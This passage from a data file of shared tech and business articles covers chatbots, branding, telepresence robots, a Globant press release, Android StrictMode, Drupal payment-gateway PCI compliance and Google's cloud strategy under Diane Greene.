""notifiers"" to sophisticated ""conversationists."" Bots on Slack Slack makes it reasonably easy to implement bots, and over the last year developers have written a swarm of micro-apps that sit inside Slack and do everything from calling up funny GIFs to ordering food. Slack has been the first platform for many developers interested in experimenting with bots; scope is easier to control because it's used in relatively focused workplace settings. In August, we learned that New York Times editors use a Slack bot called Blossom to figure out which articles might go viral. The AI backend to the New York Times bot is arguably more important than its conversational aspect, but the thought of editors at the 164-year-old newspaper chatting with bots over Slack caused a sensation. Facebook wades in The event that set off the current wave of mass interest came in April, when Mark Zuckerberg demonstrated Facebook's new Messenger Platform and Bot Engine at the F8 developer conference. Zuckerberg's high-level discussion begins at 11:00 in this video , and David Marcus, the VP of Product for Messenger, gives a detailed overview at 51:20. Facebook owns three important components of the bot ecosystem: the first two, Facebook Messenger and WhatsApp, together process 60 billion messages per day-three times as many as the global SMS system did at its peak. The third, Wit.ai, is a simple development platform for building conversational interfaces. ""I can guarantee you you're going to spend way more money than you want on this,"" says Marcus in the announcement, describing how brands can use the platform to communicate with their customers through bots. ""It's just really addictive."" Amazon's advantage The most important bot hardware, after the smartphone in general, is Amazon's Echo , an Internet-connected speaker and microphone that answers simple questions, plays music, calls Uber cars, turns on lights, and orders pizza. When the Echo became available to the general public in June of 2015, it took less than two weeks to win a million pre-orders . Since then it's given the mass market a taste for conversational interfaces. It has also created a compelling platform for bot developers through two API: the Alexa Skills Kit , which makes it possible to build bots that Echo users can install on their devices, and the Alexa Voice Service , which turns any device that has a speaker and a microphone-even a Raspberry Pi -into a voice-controlled conversational interface. The Next:Economy opportunity Bots and conversational interfaces have the potential to automate away even more human jobs-a bot can answer many common customer service questions as effectively as a call center operator reading from a script. Short-sighted companies will use the new technology to cut costs, while forward-looking Next:Economy companies will use bots to deliver customer service that is orders of magnitude better, letting the bots handle routine queries and packaging up information on more complex queries so that human operators can take service to the next level. AI and bots will also make it possible to do tasks that humans just don't get around to. For example, the DARPA Cyber Grand Challenge is focused on the fact that most companies never get around to patching known security vulnerabilities. Much as it led the way with self-driving cars, DARPA wants to pioneer a set of self-patching security systems. These ideas reinforce the opportunity of the Next:Economy-to use technology to enable humans to do new things that couldn't be done before, rather than simply to reduce costs and make humans irrelevant.",en
1466287803,CONTENT SHARED,6829640091575814990,-1130272294246983140,-782450246769532337,,,,HTML,http://www.updateordie.com/2016/06/09/branding-e-problema-seu-e-meu/,Branding é problema seu. E meu.,"B randing é um assunto injustiçado, coitado. Tachado de complexo além do que é, de fato. Que ironia: o Branding tem um problema de imagem. E, como consequência, duas coisas. Primeiro, um abismo enorme entre os que se acham ""branders"" e os que se acham leigos. Depois, a inevitável consequência da distância: o efeito não-é-problema-meu. Voluntária ou involuntariamente, na mente dos menos envolvidos com o tema, o trabalho dos ""branders"" se torna algo muito específico, restrito a marqueteiros, publicitários, comunicólogos e seres de espécies similares. Restringir a função de gestão da marca a um setor específico da empresa, que geralmente é a comunicação, é um erro. Temos aí a origem de um dos principais - senão o próprio - problemas das empresas: a fragmentação. Diferente de outras disciplinas presentes no dia-a-dia das empresas, não é possível fazer Branding eficiente se apenas uma área olhar para isso. Não dá! Sabe por que? Porque a marca é como o ar. Ela vive em todo lugar. Dentro da empresa, está em todas as áreas. Fora dela, perambula no seu ecossistema. Onde houver experiências de marca, haverá marca. E o que são experiências de marca? Toda e qualquer interação que se tem com ela. Vamos considerar o atendimento, que é uma interação típica entre marca e cliente. Se eu fui bem atendido, inevitavelmente foi criada uma pastinha da marca na minha mente. Dentro dessa pasta, o atributo ""atendimento de qualidade"" foi gravado. E lá, dependendo da próxima experiência, ele pode aumentar seu peso, diminuir ou ser excluído e substituído pelo atributo ""atendimento zoado"". Mas não estamos falando apenas de interações ou experiências diretas com a marca, mas também as indiretas. O ecossistema de uma marca é composto por todos os públicos que tem algum contato com ela. Esses públicos interagem com a marca, claro, mas também interagem entre si. Em todas essas interações, experiências de marca podem ser criadas, mesmo que ela não participe ""oficialmente"" dessa interação. É por isso que dizemos que a marca vive dentro, sim, mas principalmente fora da empresa. É como um filho, sabe? A gente cria pro mundo. :P É por isso também que fazer a gestão de uma marca é muito mais difícil que tirar doce da mão de criança - mas muito menos cruel. Marca é um nome ao qual relacionamos atributos, sentimentos e uma estética. Ou, para simplificar, um nome com associações. Essas associações são feitas a partir de toda e qualquer experiência que se tem com ela, como o exemplo típico do parágrafo acima. Ou o exemplo do parágrafo abaixo, não tão típico assim. Se um caminhão da Coca-Cola tombar em cima de mim - o exagero ajuda nesse caso - posso nunca mais querer sentir o cheiro nem o gosto daquela bebida escrota que quase me afogou depois do acidente. A culpa pode ter sido toda do motorista terceiro bêbado, mas a Coca-Cola estará relacionada a isso eternamente em minha mente. RIP Coke. Pronto. Isso é marca. Um nome ao qual fazemos associações de todo tipo, partindo das experiências mais diversas que se pode imaginar. Agora, pense você mesmo: existe uma área da empresa responsável por criar e gerir todas as experiências de marca possíveis? Eu respondo: não existe nem nunca existirá - frase de efeito irresponsável. Nem mesmo uma empresa inteira focada em fazer a gestão das experiências de marca daria conta, porque elas são só parcialmente controláveis. Existe todo um ecossistema criando experiências o tempo todo, das mais diversas formas, que não podemos gerir completamente. A essa altura, você, que não é ""brander"", deve ter percebido que você cria experiências de marca o tempo todo. Seja no papel de representante oficial da marca, quando você atende mal um telefonema de um fornecedor, ou no papel de cliente reclamão (público externo à empresa, mas essencial no ecossistema de qualquer marca), quando você xinga muito no Twitter aquela marca de tênis que usa mão de obra infantil e escrava. Ou no papel de membro fofoqueiro, quando você fala mal do padre. Como o padre é representante da Igreja, você está, por tabela, falando mal dela - Deus tá vendo! Caso mais grave do que apenas uns bilhões de dólares perdidos por uma imagem de marca manchada. Nesse cenário, o que as empresas precisam fazer? Gerir com a maior excelência possível todas as experiências que ela cria com seus públicos - atendimento, comunicação, redes sociais, embalagens, força de vendas etc. Assim, as chances de as demais experiências serem positivas será grande. Fora isso, vale rezar - pense bem antes de falar mal do padre - pra que nenhum caminhão tombe, nenhum rato invada suas garrafas, nenhuma barragem se rompa liberando 40 bilhões de litros de lama. E pra você, amigo, resta assumir esses vários chapeus na sua cabeça. Você tem a marca pela qual trabalha, a marca da qual é cliente, a marca da qual é fornecedor. Tem até sua marca pessoal, cujas experiências geram uma boa ou uma má reputação. Ou seja, sua reputação depende de um bom trabalho de Branding de você mesmo. Se a primeira impressão é a que fica, sua missão começa cedo. Seja no trabalho ou na vida social, um ""bom dia"" dá um belo pontapé. É por isso que Branding é problema seu. E meu.",pt
1466293197,CONTENT SHARED,-3590865837401183812,-1032019229384696495,7678165322893628235,,,,HTML,https://techcrunch.com/2016/06/18/flipping-the-office-telepresence-model/,Flipping the office telepresence model,"What if I told you that you could visit three continents in one day without leaving your office and truly feel like you were there in person? That you could move down a hallway or across a stage, make eye contact and feel, well, more like a human being than just a face on a screen? Earlier this year, Paul McDonagh-Smith - my coworker at MIT Sloan Executive Education who is based in London - did just that with the help of ""telepresence robotics."" First thing in the morning, he co-presented at a conference in Singapore alongside our colleague Cyndi Chan, then had a business meeting in Cape Town, South Africa and later that afternoon met with me and other team members on the MIT campus in Cambridge, Massachusetts. If you haven't encountered a telepresence robot before, they look surprisingly humble. There is some variety in appearance, but the basic elements are: a screen that functions as a ""head,"" a ""leg"" or a ""neck"" for turning the ""head"" and a set of gyroscopic wheels for traveling. The model we use is made by Double Robotics and is essentially an iPad on a leg with wheels. Though it may seem simple, the technology is quite remarkable in what it can do for bringing people together. In our office, telepresence robots are no longer a novelty, but an everyday tool we've been using to enable our remote team members to be more engaged. About two-thirds of our staff work remotely one to three days a week. Double's robot units are available regularly for team meetings or one-on-one visits. Paul's experience may be a bit extreme, and we don't all use our Doubles quite like that every day. The majority of us are more like Colleen Berger, an Executive Education Program Director who lives on Cape Cod, which is about a three-hour commute from the office - on a good day. Colleen uses a telepresence robot regularly to join meetings and have conversations with colleagues on campus. I use the robots occasionally when traveling, and have even logged in from a plane once. What we all enjoy, however, is the ability to be truly present in our interactions with colleagues and clients - an experience that feels much more natural and personal than a phone call or a videoconference. Telepresence seemed like an intriguing addition, and has proven highly effective for our team. The daily operations of the MIT Sloan Executive Education team fall into three major categories: developing and facilitating education programs; meeting with faculty, clients and members of the business community; and traveling the world for professional conferences and business meetings. Now that we've learned the best internal uses of the Double robots, we've been gradually - and strategically - expanding beyond our office walls. I mentioned how we use telerobotics internally , but bringing a robot into a classroom required a lot more thought than just figuring out the logistics for one or two people. Robots in the executive education classroom MIT Sloan Executive Education programs are rooted in a shared learning experience - participants gather on campus to learn from our faculty and each other, build professional relationships and take part in the MIT ecosystem. We experiment with virtual delivery in select programs, but the underlying principle remains the same. How can we offer all the benefits of presence to remote participants without compromising the experience of learners co-located in our classrooms? Who would benefit from this technology the most? Offering it to people with distance and mobility challenges seemed like a good place to start. We wanted to make a selection of our programs available to people who may not even consider enrolling otherwise - even though they and everyone in the room would benefit from their participation. To help us find the right candidate for the pilot, we brought in disability diversity expert Sean Driscoll. Sean is the founder of BBsquared , a consultancy that advises organizations on diversity, equality and inclusion initiatives. We have worked with Sean before in the context of our involvement with Work Without Limits , a statewide network that aims to increase employment among individuals with disabilities in Massachusetts. Sean's deep knowledge of the disability diversity issues and his wide professional network were instrumental in our experiment. With Sean's help, we met Tom Hershey, an entertainment industry executive who lives and works in Los Angeles. Tom uses an electric wheelchair, so traveling across the country presents its own set of unique challenges for him. Once it was all up and running, it was a lot of fun and I forgot the fact, honestly, that I was there remotely. - Tom Hershey Tom attended a two-day executive education program, Managing Complex Technical Projects , led by one of our senior faculty members, Professor Steven Eppinger. Prior to the program, Tom had a couple of training and troubleshooting sessions with our staff, but other than that he was expected to participate just like everyone else in the room. He got the hang of operating the robot fairly quickly and was able to enjoy all aspects of the program. ""Once it was all up and running, it was a lot of fun and I forgot the fact, honestly, that I was there remotely,"" he says. ""You get sort of caught up in the activities that are happening in the classroom - it was like being there."" Having attended MIT as an undergraduate student, Tom thought that his experience with the robot approximated the classroom experience quite well. Lucky for us, Tom's long career in special-effects technology at Sony Pictures made him a savvy user and eager to try a cool new tech approach. He noted some areas of improvement, but his overall impression was very positive. ""There was no sense of me being that remote physically,"" he says. ""It needs a bit more work, but I feel confident that it will be a good avenue."" Teaching robot-enabled students Steven Eppinger was a little nervous about having a robot-enabled participant in his classroom. ""My key concern was would Tom get as much out of the program as he should?"" he says. ""Even though I know it's possible to interact with someone via this robot technology, I didn't know how it would work in a classroom setting, but it actually worked quite smoothly. Tom was fully able to participate. In an open enrollment program of about 50 people, everybody should, if they want to, have an opportunity to speak in class and interact with others at their table, and he did exactly those things."" Steven considers personal interaction an important part of the overall program experience. Although he has taught in various technology-enabled settings, including online and teleconferencing, synchronous delivery is still his preferred method. ""I think you get a richer experience with synchronous,"" he says. ""And to be truly synchronous, we need to gather. We can do that physically at MIT or we can use various remote technologies. Comparing telepresence to conventional or even very good videoconferencing, this has more presence. For certain things, there is a big advantage in being synchronous and co-located. And this made it possible for us to break the co-location requirement."" As a bonus, Steven didn't have to change a thing in how he teaches to make allowances for this technology. It was simple. However, teaching a room full of robots would be an entirely different matter, because if everyone in the room were present digitally, their sensing capability would be quite different and would require a dramatically different method of teaching. Another key aspect of telepresence robotics is the level of attention that's required from the person participating remotely. Professor JoAnne Yates agrees. ""A room full of robots doesn't make as much sense because the thing that the telepresence robot gives you is the physical presence that can interact with other human presences. If there's no presence there, then why not have everyone on a screen?"" JoAnne teaches in our Communication and Persuasion in the Digital Age program and studies dispersed teams and communications methods that make them effective. In her opinion, telepresence robotics offer important advantages over the more traditional collaboration tools in allowing a remote participant to join a co-located group. ""The robot gives you much more flexibility than an audio phone connection or a videoconference,"" she says. ""The voice actually comes from the robot, so people treat the robot more as if it were a person. Usually, you don't have the picture and the voice coming from the same point in space, and you do with the robot. And that's a big advantage in allowing the robot to interact with people in a class or in a meeting."" Seeing eye to iPad Bruce Hecht attended the same program as Tom, only in person - or rather in his physical body. An electrical engineer at the Boston-based Analog Devices and a robotics enthusiast, Bruce was thrilled to have a co-participant attending via a telepresence robot. Although he wasn't seated at the same table initially, he made a beeline for Tom as soon as he saw him. ""When I heard where he was, I wanted to meet him because I wanted to see what the experience was like but also because I just like to sit with people at different tables and meet as many people as I can."" Bruce took every opportunity to talk to Tom during breaks, at lunch and in small-group projects. He describes the experience as not much different from working with someone who is there in their physical body. Bruce is a regular participant in MIT Sloan Executive Education programs. Building relationships with his co-learners is an important aspect of the program experience for him, and that is not something easily done with traditional audio or videoconference tools. ""That wouldn't really be possible on the phone. With so many people, you won't even know what to ask, and you won't know whom to ask,"" he says. ""In the room, there are a lot of people. But if you have so many people on a call, only one person can really have a conversation at a time."" The telepresence robots make it possible for the remote person to direct their attention in a more natural way. You may not be able to shake someone's hand (yet!), but you can maintain eye contact as you talk, you can turn to look at someone else around the table and you have an actual seat in the room as you would physically. ""When you are present at the table, you lower it [iPad] down, so you're basically at the same position as if you're seated. You can see people at the table eye to eye,"" says Bruce. Navigating communication styles Adding to the robot's natural feel is the ability for the remote person to move between communication styles. Here's how our super-user Paul describes it. ""We could be having a one-on-one conversation, but I can move quite naturally to another communication style where I might move the robot to a stage and I might present to a group of 10 or 50 or 100. And you can move from this one-to-one or one-to-a-few kind of collaboration to a broader communication style and back and forth very easily."" The robot's agility to adjust to different communication modes was an important aspect for Tom, too. ""Navigating between the spheres of communication: instructor to class, instructor to student, student to workgroup and student to student is a key benefit of the technology,"" he says, adding that, as a user, he sees this area as ""most ripe for evolutionary improvement."" What telepresence technology has given us goes far beyond our initial plans to make meaningful technological accommodations for our remote workers. This kind of natural ease just isn't possible with more traditional collaboration tools like audio or videoconferencing. ""There is a tendency to kind of round robin where people will take turns to speak,"" Paul explains. ""And sometimes you have to wait for the host to initiate the discussion with the remote user. This is a lot more egalitarian in the sense that if I participate by robot, I can actually very easily initiate a discussion. It's not something that happens to me. It's something that I am very much creating and actively participating in. Active participation is a key difference."" Paul also points out the similarity between the Double's design and a face-to-face conversation. ""The only thing visible on the iPad is the person's head. It's about 80 or 90 percent of the real estate. Which is very similar from the human interaction perspective, this is what we see when we interact physically."" However, eye contact is not the only human-like feature of the Double's range of motion. Paul likens the unit's slight oscillation to a person shifting their balance from one foot to another as they stand and talk. ""I think that gives the sense of active presence, like a human embodiment,"" he says. Staying focused Another key aspect of telepresence robotics is the level of attention that's required from the person participating remotely. You can't multitask easily - and that is a good thing. Colleen explains, ""I think that we all fall into the trap that if we're just on the phone, we tend to multitask regularly and you don't have that option with telepresence. You really do have to be present. It can be retraining yourself, if you will, to work in a different way, but in the end, the meetings are more productive, more collaborative. You participate more and add more value and probably receive more value out of it if you're truly listening."" The heightened attention and focus are just as important in our classrooms. The experience of our executive education programs is intense and requires a full commitment of time and attention for the duration of each program. Experiment, explore and evolve What telepresence technology has given us goes far beyond our initial plans to make meaningful technological accommodations for our remote workers. The popular proverb about necessity being the mother of invention is certainly true for us. Our motivation to try out this technology came during our office's move to a physically remote space and in the middle of a major city construction project near campus that would make the notoriously frustrating Boston commute even more so. We thought long and hard about the most effective ways to accommodate flex work for our team members. Telepresence seemed like an intriguing addition, and has proven highly effective for our team. I've written and spoken extensively on what a boon our flexible working arrangements have been to employee morale, job satisfaction and productivity, and technologies such as telepresence robots are helping make this possible. Now that we've opened our classrooms to robot-enabled participants outside our own team and have learned from the experience, we will continue to look at different ways of using telepresence robotics on campus and beyond. Featured Image: Rick Madonik/Getty Images",en
1466340343,CONTENT SHARED,-5060993828460133882,-3107690258526146180,-1160892601994035646,,,,HTML,http://finance.yahoo.com/news/globant-recognized-worldwide-leader-digital-165000988.html,Globant Recognized as a Worldwide Leader of Digital Strategy Consulting Services by IDC MarketScape report,"SAN FRANCISCO, June 14, 2016 /PRNewswire/ -- Globant ( GLOB ), a digitally native technology services company focused on creating digital journeys, has been named a "" Leader"" in the IDC MarketScape report: Worldwide Digital Strategy Consulting Services 2016 Vendor Assessment (doc #US41287916, May 2016) . In its first appearance in the IDC MarketScape report, Globant is also recognized as a ""Leader"" in EMEA and Asia Pacific, and a ""Major Player"" in North America.** As a pioneer in the digital transformation and technology space, Globant leverages emerging technologies and trends, deep engineering expertise and innovative design ideas to help brands create effective digital journeys that engage their consumers across touch points. The IDC MarketScape noted that ""worldwide, Globant is seen as the most capable of all firms at envisioning, planning, and designing enterprise wide digital strategy, as well as the IT road maps required to support such initiatives. [...] Clients also regard Globant as highly skilled at meeting project timelines and designing new or improved business processes,"" describes the IDC MarketScape: Worldwide Digital Strategy Consulting Services 2016 Vendor Assessment . An excerpt of the report can be accessed here . ""The breadth and depth of the digital strategy consulting services market continues to expand as businesses across the world begin to recognize that value of transformative practices are necessary to compete in digital era,"" said Michael Versace, Global Research Director, Digital Strategy Services. ""We are very proud to be recognized as a leader worldwide for digital strategy consulting,"" Martín Migoya, Globant CEO and co-founder added. ""With the deepening need for brands to devise effective, comprehensive digital experiences, Globant remains focused on not only maintaining, but furthering our reputation as an industry leader in the creation of digital journeys."" The study uses the IDC MarketScape model to provide an assessment of providers participating in the worldwide business consulting services market that have particular capabilities in digital enterprise strategy consulting. The findings are based on a comprehensive framework and a set of parameters that assesses providers relative to one another and to those factors expected to be most conducive to success in a given market during both the short term and the long term. **Sources: IDC MarketScape: EMEA Digital Strategy Consulting 2016 Vendor Assessment, doc #US40330716, May 2016 IDC MarketScape: Asia/Pacific Digital Strategy Consulting 2016 Vendor Assessment, doc #US40433016, May 2016 IDC MarketScape: North America Digital Strategy Consulting 2016 Vendor Assessment, doc #US4033816, May 2016 About IDC MarketScape IDC MarketScape vendor analysis model is designed to provide an overview of the competitive fitness of suppliers in a given market. The research methodology utilizes a rigorous scoring methodology based on both qualitative and quantitative criteria that results in a single graphical illustration of each vendor's position within a given market. IDC MarketScape provides a clear framework in which the product and service offerings, capabilities and strategies, and current and future market success factors of vendors can be meaningfully compared. The framework also provides buyers with a 360-degree assessment of the strengths and weaknesses of current and prospective About Globant Globant ( GLOB ) is a digitally native technology services company that creates digital journeys for its customers, which impact millions of consumers. Globant is the place where engineering, design, and innovation meet scale. Globant has more than 5,200 professionals in 11 countries working for companies like Google, Linkedin, JWT, EA, and Coca Cola, among others. Globant was included in the ""Cool Vendor in Business Process Services"" Report by Gartner and its client work has been featured as business case studies at Harvard University, Massachusetts Institute of Technology, and Stanford University. Logo - To view the original version on PR Newswire, visit:",en
1466367133,CONTENT SHARED,4300652811307550975,3302556033962996625,-6422235496671179585,,,,HTML,https://medium.com/google-developers/strictmode-for-runtime-analysis-on-android-f8d0a2c5667e,StrictMode for Runtime Analysis on Android - Google Developers,"Getting your Android app to compile is really only the first step: just because it compiles doesn't mean it'll work when you run your app. Thankfully, Android has invested in building analysis tools to catch some of the common Android-specific problems that bridge the gap between compilation errors and runtime crashes. Where lint provides static code analysis, StrictMode is the runtime equivalent: analyzing your app at the thread or virtual machine level and alerting you to potential problems. Although traditionally used for performance-related checks, there are also a number of checks specifically surrounding some of the best practices for sharing files and accessing the network. StrictMode Basics To understand what StrictMode does and how it is used in your app, I'd strongly recommend watching our previous video on StrictMode . There we discuss a number of ThreadPolicy and configuration options for StrictMode , boiling down to detecting certain conditions at runtime and then reacting to those conditions with a penalty - be it logging, flashing the screen, or killing your app entirely. VmPolicy's detectFileUriExposure() When sending files to other apps, it is really important that the other app can actually read your file. And it turns out that Uris are actually a really bad way to do that. As explained in our Sharing Content post , using a Uri means storage permissions and they'll actually never work across users (such as in the case for Android for Work). The detectFileUriExposure() StrictMode check (added in API 18 - Jellybean MR2) tries to catch those cases: looking for Uris in any Intent your app sends out and then applying the penalty you've chosen for your VmPolicy . One thing to keep in mind is that this is a blanket ban on Uris - while it's technically safe to send Uris between components in your own app, this check does not yet differentiate between who is receiving the Intent . VmPolicy's detectCleartextNetwork() Security, particularly of your user's data, doesn't end in your app - it is just as important to secure communication with your server and, frankly, every connection your app makes - just because you trust your wireless access point and your network does not mean the same is true for all your users. Android 6.0 Marshmallow adds a new StrictMode check in the form of detectCleartextNetwork()  - a StrictMode check which ensures that all of the network traffic coming from your app is encrypted. There's even a separate penaltyDeathOnCleartextNetwork() which will ensure your app is killed as soon as clear text network operations are detected (preventing any user data from leaking, even if you don't want your app to be killed because of other StrictMode checks). While this check does work on both IPv4 and IPv6 traffic, be it TCP or UDP, there is one caveat as per the documentation: it may be subject to false positives, such as when STARTTLS protocols or HTTP proxies are used. So keep that in mind if your app is using those techniques for your network traffic. Simple analysis? I think not As StrictMode works on the thread or VM level, it is at a much lower level than most runtime analysis can be. This has its pros and cons though - it is certainly extremely thorough, but the penalties available are hardcoded and inflexible. Alas, there are no custom handlers for StrictMode in the current API. But don't take that inflexibility as a death knell - just consider carefully what StrictMode checks you do use and make sure you enable them only on debug builds - the BuildConfig.DEBUG flag is helpful for those cases: #BuildBetterApps Follow the Android Development Patterns Collection for more!",en
1466388170,CONTENT SHARED,-3870015206307768313,3891637997717104548,8220568155268171290,,,,HTML,https://www.newmediadenver.com/blog/pci-compliance-and-drupal-commerce,PCI Compliance & Drupal Commerce: Which Payment Gateway Should I Choose?,"One of the main driving forces for writing the community supported Drupal PCI Compliance White Paper was to help developers and merchants to make smart choices that balance functionality with security. At the time, there were dozens of payment gateway modules available and knowing what risks were involved with each was no easy task. Ultimately, many of them posed a significant risk to the merchant because they were requiring Drupal to temporarily store and transmit card data. For those wishing to better understand these nuances, I highly recommend reading the white paper because you need to be able to defend your choices, especially if you're trying to pass an audit or have to deal with the fallout of a data breach. That said, if I do nothing else but help you pick a sane default, I'll rest better at night. Historically, Hosted Payment Pages (HPPs) were the preferred solution because they fully offload the entry of the card to a service like Paypal, Authorize.net SIM, or Recurly. This greatly reduces the number of potential attack vectors (thereby increasing security) and is the easiest way to get to a PCI SAQ A status (thereby reducing your costs to obtain and maintain compliance). From a security perspective, HPP are always a good choice. The challenge has always been to convince clients to opt for this because they lose control of the customer experience when customers are redirected to an external site. Fortunately, for those who want the best of both worlds, there is the inline iframe option. The beauty here is that the customer is kept on the website the entire time and (usually) unaware that the credit card entry is being submitted through the form within the iframe loaded directly from the payment gateway itself. Unfortunately, throughout much of 2014 and 2015, only one module provided this option ( Hosted PCI ). While I originally recommended this option, the setup and ongoing fees were prohibitive and it generally took several days to get an account provisioned. Since that time, two major players have created inline options: Commerce Braintree and Commerce Stripe . I highly recommend these two modules because they have extended the checkout inference in a straightforward way and allow users to get either one installed and configured in less than an hour. The only caveat for the Stripe module is site-builders MUST remember to enable the correct rule (the module provides two). If you enable the direct post rule, it still will fall within SAQ A-EP because direct post solutions can be attacked by on-page keyloggers . It's a subtle but important detail. Finally, remember that these recommendations are current as of the publishing of this article on June 14, 2016. The PCI-DSS standard will continue to evolve as will the payment gateways that are trying to provide the best solutions for their customers. Still, if you're looking for two solid solutions to start using immediately, you'll get a lot of mileage out of the Stripe and Braintree modules.",en
1466389406,CONTENT SHARED,-6999287066519531005,3891637997717104548,8220568155268171290,,,,HTML,https://www.acquia.com/resources/webinars/lightning-distribution-drupal-build-advanced-authoring-experiences-drupal-8,Lightning Distribution for Drupal: Build Advanced Authoring Experiences in Drupal 8,"Lightning provides developers with a lightweight framework for building advanced authoring experiences in Drupal 8. Developers gain a massive head-start when building great authoring experiences with Lightning, but it has not been a simple development roadmap. In this webinar, learn about some of the decisions we had to tackle, including:",en
1466398173,CONTENT SHARED,-4338308747999225618,-1032019229384696495,2118450654323055722,,,,HTML,http://www.businessinsider.com/how-diane-greene-transformed-googles-cloud-2016-6,How the queen of Silicon Valley is helping Google go after Amazon's most profitable business,"Google The first thing to understand about Diane Greene, the woman Google acqui-hired in November to transform its fragmented cloud business, is that she has the mind of an engineer. Cool technology, elegantly designed and built, lights her up.Even her jokes tend to be geek oriented. (A lifelong competitive sailor, she was a mechanical engineer who built boats and windsurfers before she became an iconic Silicon Valley computer scientist.) The second thing to understand about her is that she hates the limelight. While she's fine with standing on stage talking about all the cool things Google is building for their new target customer, big companies, she prefers not to talk about herself. In fact, she's so ego-free, her office at Google's Mountain View, California, headquarters is just a tiny windowless room, big enough to hold an ordinary desk and two chairs. Business Insider Before she took the job, Google had been building products and pursuing business customers in a sort of hodgepodge way. Its Google for Work unit had Google Apps, Chromebooks, and an assortment of other products like videoconferencing. It had poached Amit Singh from Oracle a few years back to help turn Google Apps into a more professional business unit, capable of taking on Microsoft Office. He had hired salespeople and created a support organization. (He's since moved on to work for Google's young virtual reality unit .) But Google for Work wasn't working very closely with Google's nascent cloud computing business, running under Urs Hölzle. That unit included a huge cadre of people running Google's data centers (600 computer security experts alone, for instance), but only a small separate sales force. In the seven months since Greene came in that's changed. She: hired experienced enterprise sales and support personnel. created the office of the CTO which handles the technical questions, design or customization a large customer needs. created units that focus on specific industries, because an agriculture firm has different needs than a retailer. created programs for getting more ""reseller"" partners on board, the small consultants who will sell and support Google's cloud to smaller customers, offering niche services. created a Global Alliance program for working with big global partners. ""So these are all new,"" Greene tells us. Now, all the teams are working together. ""We all get together once a week, we share and discuss and debate,"" she says. ""It wasn't possible before I came because sales and marketing were in a different division than cloud. And cloud was in a different division than Apps. I feel like the structure is in place now and we're hiring very aggressively."" Hölzle wooed her to the job Greene made her name as cofounder of VMware, with her famous Stanford professor husband. Vmware has gone on to become a giant tech company. She left the VMware CEO role about eight years ago, after EMC bought it. Google+ Until taking this Google job, she was quietly doing her own thing, raising her kids, advising and angel investing in startups (many of which did spectacularly well ), and being on a few boards, including Google's board since 2012. She was under the radar but still highly and widely respected, the queen of enterprise computing. She was also working on a new startup, Bebop Technologies, until Google bought it for $380 million when it hired her. Greene's take was $149 million, and she and her husband dedicated that money to charity. Hölzle, the engineer who famously built Google's data centers and runs the technical side of the cloud business is Greene's partner. He believes that within a few years, Google's cloud business can be bigger than its ad business. That's a big goal: Google currently makes the vast majority of its $75 billion in annual revenue from ads. Hölzle is the one who talked Greene into taking this job as they hung out walking their dogs together. ""Through being on the board, I got to know Urs and started working with him informally,"" Greene says. ""We knew we needed an overall business leader. He's a brilliant person and fun to work with. He really wanted to me to do it. I just realized, wow, partnering with Urs, we can really do this, with the backdrop of Google which is just this amazing company,"" she says. A new phenom Google has placed itself at the center of one of the biggest, newest trends happening in the enterprise market. Some people call this trend digital transformation. But it's more than just automating manual processes or turning paper forms into iPad apps. Flickr/Amanda Parsons More and more, the IT departments at large companies have started treating their tech vendors as partners that help them co-create the tech they need. ""This is new for me. I've never been in the enterprise where your customers are your partners. It was always, you had customers and you had partners. But almost every customer of a certain size is a partner. It's going both ways now,"" Greene says. She points to one customer, Land O'Lakes, as an example. Land O'Lakes is probably best known for its butter and dairy products. It took crop and weather data from Google and worked with Google to build an app hosted on Google's cloud. The app helps its farm and dairy co-op members improve their crop yields. ""It's fun for us to help them do that,"" she says. Unlike the old days, where an IT company would be the one to build the app and sell it to agriculture companies, ""we don't have to do it ourselves."" 'More and more' This idea of partnering with customers is the key to her strategy. Tim Stenovec/Business Insider ""For me, this is such a revolution,"" she says. ""Everything is changing now that we are in the cloud in terms of sharing our data, understanding our data using new techniques like machine learning."" Google's competitive strength, Greene believes, is the breadth of the tech it can offer an enterprise. Enterprise app developers can tap into things like Maps, Google's computer vision engine (the tech that powers Google Photos), weather data, language/translation/speech recognition. They can build apps on top of Google's Calendar, documents, spreadsheet and presentation apps. And, under Greene's new integrated organization, they can even tap into the tech that powers Google's ads or YouTube, search, or its many other services. ""And we're going to have more and more,"" she says. When a company can take its own data and combine it with all of Google's technology and Google's data, ""there's just huge possibilities,"" she says. Google Greene will tell you, ""We're the only public cloud company with all of that."" When pointing out that Microsoft also offers a computer vision API, translation services and APIs for Office 365, IBM also offers weather data and language services, and so on, Greene's got a come-back ready. ""We have Chromebooks."" Well, Microsoft has Surface. ""But Chromebooks can run all the Android apps, are totally secure, they have administration ... and they have a nice keyboard,"" she laughs. In fact, Greene says, ""I only use a Chromebook now. I never thought I could do that but I love it."" She's watching Amazon In truth, she's not laser focused on overtaking Microsoft, widely considered the No. 2 cloud player, with Google trailing behind. Google She, like all the cloud vendors, are looking at market leader Amazon Web Services, which is raking in the enterprise cloud customers. AWS is even convincing a growing number of them to shut down all of their data centers and just rent everything from AWS. This includes Intuit , the other company where Greene is a board member. AWS is so successful it's currently on track to do $10 billion in revenue this fiscal year and it's also Amazon's most profitable business unit . And it blows all the competition out of the water in the sheer number of features on its cloud , as well as its partner ecosystem. So how is she going to beat Amazon? By offering better tech, she says. ""I'm a little biased but I really do think, on the hard stuff, we're the world's best cloud,"" she says. Google ""I agree we have more features to do, although we have the basics for enterprise that you need. We have more partners to bring on, but we're doing that very quickly. But the hard stuff, I do think we're the world's best."" While Greene would not share the the cloud unit's growth numbers, she says that ""growth is really good and we're doing great stuff with some really big customers."" She adds: ""We've been moving customers to our cloud both from Amazon and on-prem."" 'On-prem' means getting companies to move the apps they have running in their own computers on their own premises into Google's cloud. Google has even been engaging Amazon with its price cuts war, she says. ""They've been following our price cuts. We've been initiating them,"" she says. She jokes, ""We should make a T-shirt 'The highest quality, lowest-cost cloud.'"" Disclosure: Jeff Bezos is an investor in Business Insider through his personal investment company Bezos Expeditions. SEE ALSO: Netflix, Juniper, and Intuit explain how Amazon is eating the $3.5 trillion IT industry SEE ALSO: The inside story of why Cisco's 4 most powerful engineers really quit - and why many employees are relieved NOW WATCH: NASA released the sharpest photos of Pluto in history - and they're spectacular",en
